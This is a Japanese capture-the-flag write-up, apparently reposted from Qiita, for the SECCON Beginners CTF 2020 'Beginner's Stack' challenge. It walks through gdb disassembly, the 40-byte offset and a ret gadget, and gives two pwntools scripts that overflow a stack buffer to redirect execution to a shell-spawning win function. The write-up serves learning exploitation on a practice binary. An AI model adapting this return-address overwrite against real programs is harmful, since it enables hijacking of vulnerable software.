SECCON Beginners CTF 2020 Beginner's Stack Writeup
本番では,Input: にwin関数のアドレス(16進数)を送れずに give up した問題。
作問者writeupを見て,「おれは絶対 pwntools 使わねー」と反発した記憶がある。
今は,OS,メモリ管理やプログラムを勉強するための「よい勉強環境」を利用するために pwntool が必須と判断してる。
問題の入手先
とりあえず実行
$ ./stack
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007fff623ba720 | 0x00007fa31398cb40 | <-- buf
+--------------------+
0x00007fff623ba728 | 0x0000000000000000 |
+--------------------+
0x00007fff623ba730 | 0x0000000000000000 |
+--------------------+
0x00007fff623ba738 | 0x00007fa313ba7170 |
+--------------------+
0x00007fff623ba740 | 0x00007fff623ba750 | <-- saved rbp (vuln)
+--------------------+
0x00007fff623ba748 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007fff623ba750 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007fff623ba758 | 0x00007fa3135acbf7 | <-- return address (main)
+--------------------+
0x00007fff623ba760 | 0x0000000000000001 |
+--------------------+
0x00007fff623ba768 | 0x00007fff623ba838 |
+--------------------+
Input:
$ ./stack
Your goal is to call `win` function (located at 0x400861)
[ Address ] [ Stack ]
+--------------------+
0x00007fff623ba720 | 0x00007fa31398cb40 | <-- buf
+--------------------+
0x00007fff623ba728 | 0x0000000000000000 |
+--------------------+
0x00007fff623ba730 | 0x0000000000000000 |
+--------------------+
0x00007fff623ba738 | 0x00007fa313ba7170 |
+--------------------+
0x00007fff623ba740 | 0x00007fff623ba750 | <-- saved rbp (vuln)
+--------------------+
0x00007fff623ba748 | 0x000000000040084e | <-- return address (vuln)
+--------------------+
0x00007fff623ba750 | 0x0000000000400ad0 | <-- saved rbp (main)
+--------------------+
0x00007fff623ba758 | 0x00007fa3135acbf7 | <-- return address (main)
+--------------------+
0x00007fff623ba760 | 0x0000000000000001 |
+--------------------+
0x00007fff623ba768 | 0x00007fff623ba838 |
+--------------------+
Input:
win関数を呼べばshellがとれるみたい
メイン関数
gdb-peda$ pdisass
Dump of assembler code for function main:
0x00000000004007f1 <+0>: push rbp
0x00000000004007f2 <+1>: mov rbp,rsp
=> 0x00000000004007f5 <+4>: mov rax,QWORD PTR [rip+0x201894] # 0x602090 <stdin@@GLIBC_2.2.5>
0x00000000004007fc <+11>: mov esi,0x0
0x0000000000400801 <+16>: mov rdi,rax
0x0000000000400804 <+19>: call 0x400660 <setbuf@plt>
0x0000000000400809 <+24>: mov rax,QWORD PTR [rip+0x201870] # 0x602080 <stdout@@GLIBC_2.2.5>
0x0000000000400810 <+31>: mov esi,0x0
0x0000000000400815 <+36>: mov rdi,rax
0x0000000000400818 <+39>: call 0x400660 <setbuf@plt>
0x000000000040081d <+44>: mov rax,QWORD PTR [rip+0x20187c] # 0x6020a0 <stderr@@GLIBC_2.2.5>
0x0000000000400824 <+51>: mov esi,0x0
0x0000000000400829 <+56>: mov rdi,rax
0x000000000040082c <+59>: call 0x400660 <setbuf@plt>
0x0000000000400831 <+64>: lea rsi,[rip+0x29] # 0x400861 <win>
0x0000000000400838 <+71>: lea rdi,[rip+0x321] # 0x400b60
0x000000000040083f <+78>: mov eax,0x0
0x0000000000400844 <+83>: call 0x400680 <printf@plt>
0x0000000000400849 <+88>: call 0x4007a7 <vuln>
0x000000000040084e <+93>: lea rdi,[rip+0x340] # 0x400b95
0x0000000000400855 <+100>: call 0x400650 <puts@plt>
0x000000000040085a <+105>: mov eax,0x0
0x000000000040085f <+110>: pop rbp
0x0000000000400860 <+111>: ret
End of assembler dump.
vuln関数の戻りアドレスは,0x40084e
”A” * 8 * 5 必要
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x400861 <win>
win関数のアドレスは 0x400861
$ objdump -d -M intel | less
/ c3
400626: c3
ret の ROP は 0x400626
ctf4b_stack.py
# coding: UTF-8
import pwn
from pwn import *
#io = pwn.remote("bs.quals.beginners.seccon.jp", 9001)
io = pwn.process("./stack")
# leak
io.recvuntil("located at 0x")
win_addr = int(io.recvline()[:6], 16)
log.info("win = %s" % hex(win_addr))
ret = io.readuntil("Input: ")
print(ret)
ret_addr = 0x400626
s = b"A" * 8 * 5
s += pwn.p64(ret_addr) # アライメント RSPは0x10で割り切れる
s += pwn.p64(win_addr)
print(s)
io.send(s)
io.interactive()
別解
ctf4b_stack2.py
# coding: UTF-8
import pwn
from pwn import *
#io = pwn.remote("bs.quals.beginners.seccon.jp", 9001)
io = pwn.process("./stack")
# leak
io.recvuntil("located at 0x")
win_addr = int(io.recvline()[:6], 16)
log.info("win = %s" % hex(win_addr))
ret = io.readuntil("Input: ")
print(ret)
s = b"A" * 8 * 5
s += pwn.p64(win_addr+1) # +1 は,win関数の先頭は push rbp ではないかという勘
print(s)
io.send(s)
io.interactive()
Author And Source
この問題について(SECCON Beginners CTF 2020 Beginner's Stack Writeup), 我々は、より多くの情報をここで見つけました https://qiita.com/housu_jp/items/6202c1753687602ea29c著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .